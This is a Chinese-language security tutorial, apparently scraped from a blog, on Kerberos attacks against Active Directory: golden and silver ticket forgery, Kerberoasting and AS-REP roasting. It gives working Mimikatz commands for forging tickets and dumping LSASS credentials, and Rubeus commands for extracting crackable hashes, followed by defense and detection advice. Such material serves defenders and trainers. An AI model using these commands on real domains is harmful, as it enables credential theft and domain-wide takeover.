1.0 黄金票据的原理和条件
黄金票据是伪造票据授予票据（TGT）。
票据授予票据（TGT），也被称为认证票据
黄金票据特点:
1.与域控制器没有AS-REQ或AS-REP通信
2.需要krbtgt用户的hash（KDC Hash）
3.由于黄金票据是伪造的TGT，它作为TGS-REQ的一部分被发送到域控制器以获得服务票据我们可以看一个图理解一下：
Kerberos黄金票据是有效的TGT Kerberos票据，因为它是由域Kerberos帐户（KRBTGT）加密和签名的。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。
黄金票据的条件要求：
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名1.1 实战手法
我们这里在一台域服务器中抓取到了KRBTGT账户的账号密码（hash）
那么这里我们可以直接使用cobalt strike来利用黄金票据
填入必须值
就可以了
在TGT的使用期限超过20分钟之前，域控制器KDC服务不会验证TGT中的用户帐户，这意味着我们可以使用已禁用/删除的帐户，甚至可以使用Active Directory中不存在的虚构帐户。
由于在域控制器上由KDC服务生成票证时会在票证上设置域Kerberos策略，因此当提供票证时，系统会信任票证的有效性。这意味着即使域策略声明Kerberos登录票证（TGT）仅有效期为10个小时，如果票证声明其有效期为10年，则是10年。
该KRBTGT帐户密码从不更改*和直到KRBTGT密码被更改（两次），我们可以创建黄金票据。注意，即使模拟的用户更改了密码，为模拟用户而创建的黄金票据也会保留。
黄金票据可以绕过了SmartCard身份验证要求，因为它绕过了DC在创建TGT之前执行的常规检查。
黄金票证（TGT）可以在任何计算机上生成和使用，即使其中一台未加入域也是可以的。
当然我们也可以使用Mimikatz伪造Kerberos票证：
1.2 Mimikatz命令示例：
代码语言：javascript复制kerberos :: golden / admin：ADMIINACCOUNTNAME / domain：DOMAINFQDN / id：ACCOUNTRID / sid：DOMAINSID / krbtgt：KRBTGTPASSWORDHASH / ptt
Mimikatz创建黄金的命令是“kerberos :: golden”
mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
/domain -----完整的域名，在这个例子中：“lab.adsecurity.org”
/ sid ----域的SID,在这个例子中：“S-1-5-21-1473643419-774954089-2222329127”
/ sids --- AD森林中账户/组的额外SID，凭证拥有权限进行欺骗。通常这将是根域Enterprise Admins组的“S-1-5-21-1473643419-774954089-5872329127-519”值。Ť
/ user ---伪造的用户名
/ groups（可选）---用户所属的组RID（第一组是主组）。添加用户或计算机帐户RID以接收相同的访问权限。默认组：513,512,520,518,519为默认的管理员组。
/ krbtgt---域KDC服务帐户（KRBTGT）的NTLM密码哈希值。用于加密和签署TGT。
/ ticket（可选） - 提供一个路径和名称，用于保存Golden Ticket文件以便日后使用或使用/ ptt立即将黄金票据插入内存以供使用。
/ ptt - 作为/ ticket的替代品 - 使用它来立即将伪造的票据插入到内存中以供使用。
/ id（可选） - 用户RID。Mimikatz默认值是500（默认管理员帐户RID）。
/ startoffset（可选） - 票据可用时的起始偏移量（如果使用此选项，通常设置为-10或0）。Mimikatz默认值是0。
/ endin（可选） - 票据使用时间范围。Mimikatz默认值是10年（〜5,262,480分钟）。Active Directory默认Kerberos策略设置为10小时（600分钟）。
/ renewmax（可选） - 续订最长票据有效期。Mimikatz默认值是10年（〜5,262,480分钟）。Active Directory默认Kerberos策略设置为7天（10,080分钟）。
/ sids（可选） - 设置为AD林中企业管理员组（ADRootDomainSID）-519）的SID，以欺骗整个AD林（AD林中每个域中的AD管理员）的企业管理权限。
/ aes128 - AES128密钥
/ aes256 - AES256密钥
黄金票默认组：
域用户SID：S-1-5-21 <DOMAINID> -513
域管理员SID：S-1-5-21 <DOMAINID> -512
架构管理员SID：S-1-5-21 <DOMAINID> -518
企业管理员SID：S-1-5-21 <DOMAINID> -519（只有在森林根域中创建伪造票证时才有效，但为AD森林管理员权限添加使用/ sids参数）
组策略创建者所有者SID：S-1-5-21 <DOMAINID> -520
命令格式如下：
kerberos :: golden / user：ADMIINACCOUNTNAME / domain：DOMAINFQDN / id：ACCOUNTRID / sid：DOMAINSID / krbtgt：KRBTGTPASSWORDHASH / ptt
命令示例：
.mimikatz “kerberos::golden /user:DarthVader /domain:rd.lab.adsecurity.org /id:500 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /ptt” exit2.0 白银票据的原理和条件
银票是伪造的票证授予服务票，也称为服务票。
如下图所示，与域控制器之间没有AS-REQ / AS-REP（步骤1和2），也没有TGS-REQ / TGS-REP（步骤3和4）通信。由于白银票据是伪造的TGS，因此无法与域控制器通信。
该Kerberos的银票是有效的票证授予服务（TGS）Kerberos票据，它是加密/通过与配置的服务帐户登录服务主体名称为每个服务器与Kerberos身份验证的服务运行。
黄金票证是伪造的TGT，可有效访问任何Kerberos服务，而银票证是伪造的TGS。这意味着银票范围仅限于特定服务器上针对的任何服务。
使用域Kerberos服务帐户（KRBTGT）对黄金票证进行加密/签名时，通过服务帐户（从计算机的本地SAM或服务帐户凭据中提取的计算机帐户凭据）对银票进行加密/签名。
大多数服务不会验证PAC（通过将PAC校验和发送到域控制器以进行PAC验证），因此使用服务帐户密码哈希生成的有效TGS可以包含完全虚构的PAC-甚至声称用户是域管理员。
TGS是伪造的，因此没有关联的TGT，这意味着不用链接DC，任何事件日志都位于目标服务器上。尽管范围比金牌更有限，但所需的哈希值更容易获得，并且在使用时与DC没有通信，因此检测比黄金票证更困难。
2.1 条件
当拥有Server Hash时，我们就可以伪造一个不经过KDC认证的一个Ticket。
/target –目标服务器的FQDN
FQDN：(Fully Qualified Domain Name)全限定域名：同时带有主机名和域名的名称。（通过符号“.”）
/service –运行在目标服务器上的kerberos服务，该服务主体名称类型如cifs，http，mssql等
/rc4 –服务的NTLM散列（计算机帐户或用户帐户）
> PS:Server Session Key在未发送Ticket之前，服务器是不知道Server Session Key是什么的。
> 所以，一切凭据都来源于Server Hash。2.2 伪造白银票据(Silver Tickets)
首先需要导出Server Hash：
管理员权限运行mimikatz
代码语言：javascript复制mimikatz "privilege::debug” "sekurlsa::logonpasswords" "exit" > "C:UsersAdministrator.WEBDesktop1.txt"privilege::debug #提升权限 sekurlsa::logonpasswords #获取service账户hash 和sid(同一个域下得sid一样)
我这里在cobalt strike中演示
空本地票据缓存
kerberos::purge #清理本地票据缓存 kerberos::list #查看本地保存的票据
伪造白银票据并导入
代码语言：javascript复制mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit
Mimikatz命令示例：
代码语言：javascript复制/domain –完整的域名称，如：lab.adsecurity.org
/sid –域的SID，如：S-1-5-21-1473643419-774954089-2222329127
/user – 域用户名
/ groups（可选） - 用户所属的组RID
/ ticket（可选） - 提供一个路径和名称，用于保存Golden Ticket文件以便日后使用，或者使用/ ptt立即将黄金票据插入到内存中以供使用
/ptt - 作为/ ticket的替代品，使用它来立即将伪造的票据插入到内存中以供使用。
/ id（可选） - 用户RID，Mimikatz默认值是500（默认管理员帐户RID）
/ startoffset（可选） - 票证可用时的起始偏移（如果使用此选项，通常设置为-10或0）Mimikatz默认值是0
/ endin（可选） - 票据有效时间，Mimikatz默认值是10年，Active Directory默认Kerberos策略设置为10小时
/ renewmax（可选） - 续订最长票据有效时间，Mimikatz默认值是10年，Active Directory默认Kerberos策略设置为最长为7天
白银票据默认组
代码语言：javascript复制域用户SID：S-1-5-21 <DOMAINID> -513
域管理员SID：S-1-5-21 <DOMAINID> -512
架构管理员SID：S-1-5-21 <DOMAINID> -518
企业管理员SID：S-1-5-21 <DOMAINID> -519
组策略创建所有者SID：S-1-5-21 <DOMAINID> -520白银票据在各种服务中的实列
代码语言：javascript复制 Service Type Service Silver Tickets
WMI HOST RPCSS
PowerShell Remoting HOST HTTP
WinRM HOST HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations including
Mimikatz DCSync LDAP
Windows Remote Server Administration Tools RPCSS LDAP CIFS伪造Windows共享（CIFS）管理访问的银票
通过为cifs服务创建白银票据，以获得目标计算机上任何Windows共享的管理权限
3.0 黄金票据和白银票据区别
1.TGS ticket针对的是某个机器上的某个服务，TGT针对的是所有机器的所有服务 2.TGT利用krbtgt账户的hash，TGS ticket利用的是服务账户的hash（目标机的hash,以计算机名$显示的账户）
黄金票据的实验结果： 能够在域里边所有机器上都以administrator登录
白银票据的实验结果： 以前就能够psexec的，使用白银票据添加cifs为administrator权限后，能够在psexec之后以administrator登录
以前就不能后动psexesvc的机器，实用白银票据添加cifs后，dir由无权查看变为有权查看
hash位置 运行中的系统，需要从内存抓取->lassas.exe进程里边存放的是活动用户的hash（当前登录的用户）普通域用户或普通工作组：SAM文件（加密后的用户密码）/SYSTEM文件（秘钥）windows/system32/config/SAM存的是当前机器所用户的Hash
域控：ntds.dit所有域用户的账号/密码（hash）
4.0 检测伪造的Kerberos票证
4.1 白银票据(Silver Tickets)防御 1.尽量保证服务器凭证不被窃取
2.开启PAC (Privileged Attribute Certificate) 特权属性证书保护 功能，PAC主要是规定服务器将票据发送给kerberos服务，由 kerberos服务验证票据是否有效。
开启方式:
将注册表中
代码语言：javascript复制HKEY_LOCAL_MACHINESYSTEM CurrentControlSetControlLsaKerberosParameters
中的ValidateKdcPacSignature设置为1。3.侦测
监视异常的Kerberos活动，例如Windows登录/注销事件中的格式错误或空白字段（事件ID 4624、4634、4672）。[2]
监视与lsass.exe交互的意外进程。[6]诸如Mimikatz之类的通用凭证转储者通过打开进程，找到LSA秘密密钥并解密内存中存储凭证详细信息（包括Kerberos票证）的部分，来访问LSA子系统服务（LSASS）进程。
4.2 黄金票据(Silver Tickets)防御
1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机。这降低攻击者通过横向扩展，获取域管理员的账户，获得访问域控制器的Active Directory的ntds.dit的权限。如果攻击者无法访问AD数据库（ntds.dit文件），则无法获取到KRBTGT帐户密码。
2.建议定期更改KRBTGT密码。更改一次，然后让AD备份，并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。
3.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限，就可以随意创建黄金票据。通过快速更改KRBTGT密码两次，使任何现有的黄金票据（以及所有活动的Kerberos票据）失效。这将使所有Kerberos票据无效，并消除攻击者使用其KRBTGT创建有效金票的能力。
4.侦测 监视异常的Kerberos活动，例如Windows登录/注销事件（事件ID 4624、4672、4634）中的格式错误或空白字段，TGT中的RC4加密以及TGS请求，而无需前面的TGT请求。
监视TGT票证的生存期，以获取与默认域持续时间不同的值。
5.0 Kerberoasting攻击
Kerberos协议在请求访问某个服务时存在一个缺陷，Kerberoasting正是利用这个缺陷的一种攻击技术。
我们可以破解服务帐户密码，而无需拿到管理员的账号密码哈希。我们通过在主机中使用服务帐户请求TGS票证多项服务。从内存中导出TGS票证，然后破解就可以。也可以通过嗅探网络流量并脱机获取使用RC4_HMAC_MD5加密的Kerberos TGS票证来攻击。
5.1 攻击流程
1、用户将AS-REQ数据包发送给KDC（Key Distribution Centre，密钥分发中心，此处为域控），进行身份认证。
2、KDC验证用户的凭据，如果凭据有效，则返回TGT（Ticket-Granting Ticket，票据授予票据）。
3、如果用户想通过身份认证，访问某个服务（如IIS），那么他需要发起（Ticket Granting Service，票据授予服务）请求，请求中包含TGT以及所请求服务的SPN（Service Principal Name，服务主体名称）。
4、如果TGT有效并且没有过期，TGS会创建用于目标服务的一个服务票据。服务票据使用服务账户的凭据进行加密。
5、用户收到包含加密服务票据的TGS响应数据包。
6、最后，服务票据会转发给目标服务，然后使用服务账户的凭据进行解密。
整个过程比较简单，我们需要注意的是，服务票据会使用服务账户的哈希进行加密，这样一来，Windows域中任何经过身份验证的用户都可以从TGS处请求服务票据，然后离线暴力破解。
5.2 实战手法
1.SPN扫描具有服务帐户的SQL Server
2.确定目标之后，我们使用PowerShell请求此服务主体名称（SPN）的服务票证。
查看数据包捕获，我们可以看到Kerberos通信，并注意到票证是RC4-HMAC-MD5。
3.客户端收到票证后，我们可以使用Mimikatz（或其他）导出用户存储空间中的所有Kerberos票证。
4.将服务票证导出到文件后，可以将该文件发送到运行带有Kerberoast的Kali Linux的攻击者计算机。破解与票证（文件）相关的服务帐户的密码。
tips:
由于服务帐户通常在许多企业中被过度使用，并且密码通常很弱，因此这是我们从域用户转到域管理员的简便方法。
5.3 防御手法
确保所有服务帐户（具有服务主体名称的用户帐户）使用的长而复杂的密码必须大于25个字符，最好为30个或更多。这使得破解这些密码更加困难。具有较高AD权限的服务帐户应重点确保其具有长而复杂的密码。确保定期更改所有服务帐户密码（每年至少更改一次）。如果可能，请使用组管理的服务帐户，这些帐户具有随机的复杂密码（> 100个字符），并由Active Directory自动管理。
5.4 检测
由于要在用户需要访问资源时始终请求服务票证（Kerberos TGS票证），因此检测要困难得多。 寻找带有RC4加密的TGS-REQ数据包可能是最好的方法，尽管可能会出现误报。 通过启用Kerberos服务票证请求监视（“审核Kerberos服务票证操作”）并搜索具有过多4769事件（Eventid 4769 “已请求Kerberos服务票证”）的用户，可以监视Active Directory中的多个Kerberos服务票证请求。
6.0 AS-REP Roasting
AS-REP Roasting是针对不需要预身份验证的用户帐户的Kerberos攻击。
预身份验证是Kerberos身份验证的第一步，旨在防止暴力破解密码猜测攻击。
在预身份验证期间，用户将输入其密码，该密码将用于加密时间戳，然后域控制器将尝试对其进行解密，并验证是否使用了正确的密码，并且该密码不会重播先前的请求。发出TGT，供用户将来使用。
如果禁用了预身份验证（DONT_REQ_PREAUTH），则我们可以为任何用户请求身份验证数据，那么DC将返回的加密TGT，我们就可以离线暴力破解的加密TGT。
默认情况下，Active Directory中需要预身份验证。但是，可以通过每个用户帐户上的用户帐户控制设置来控制此设置。
Under normal operations in a Windows Kerberos environment, when you initiate a TGT request for a given user (Kerberos AS-REQ, message type 10) you have to supply a timestamp encrypted with that user’s key/password. This structure is PA-ENC-TIMESTAMP and is embedded in PA-DATA (preauthorization data) of the AS-REQ – both of these structure are described in detail on page 60 of RFC4120 and were introduced in Kerberos Version 5. The KDC then decrypts the timestamp to verify if the subject making the AS-REQ really is that user, and then returns the AS-REP and continues with normal authentication procedures. Note: the KDC does increase the badpwdcount attribute for any incorrect PA-ENC-TIMESTAMP attempts, so we can’t use this as a method to online brute-force account passwords :( The reason for Kerberos preauthentication is to prevent offline password guessing. While the AS-REP ticket itself is encrypted with the service key (in this case the krbtgt hash) the AS-REP “encrypted part” is signed with the client key, i.e. the key of the user we send an AS-REQ for. If preauthentication isn’t enabled, an attacker can send an AS-REQ for any user that doesn’t have preauth required and receive a bit of encrypted material back that can be cracked offline to reveal the target user’s password.
在现代Windows环境中，所有用户帐户都需要Kerberos预身份验证，但默认情况下，Windows会在不进行预身份验证的情况下尝试进行AS-REQ / AS-REP交换，而后一次在第二次提交时提供加密的时间戳：
6.1 实战手法
1. 用Rubeus进行AS-REP
Rubeus是用于原始Kerberos交互和滥用的C＃工具集。
代码语言：javascript复制 Rubeus.exe asreproast
这将自动查找所有不需要预身份验证的帐户，并提取脱机破解所需的加密TGT数据
我们也可以使用以下命令以Hashcat可以离线破解的格式提取数据对这种哈希执行快速的暴力破解密码。
代码语言：javascript复制Rubeus.exe asreproast /format:hashcat /outfile:C:Temphashes.txt它将AS-REP哈希信息输出到文本文件。
对特定用户进行攻击
代码语言：javascript复制Rubeus.exe asreproast /user:TestOU3user
6.2 防御手法
识别不需要预身份验证的帐户 免受此类攻击的明显保护是找到并删除设置为不需要Kerberos预身份验证的用户帐户的所有实例。
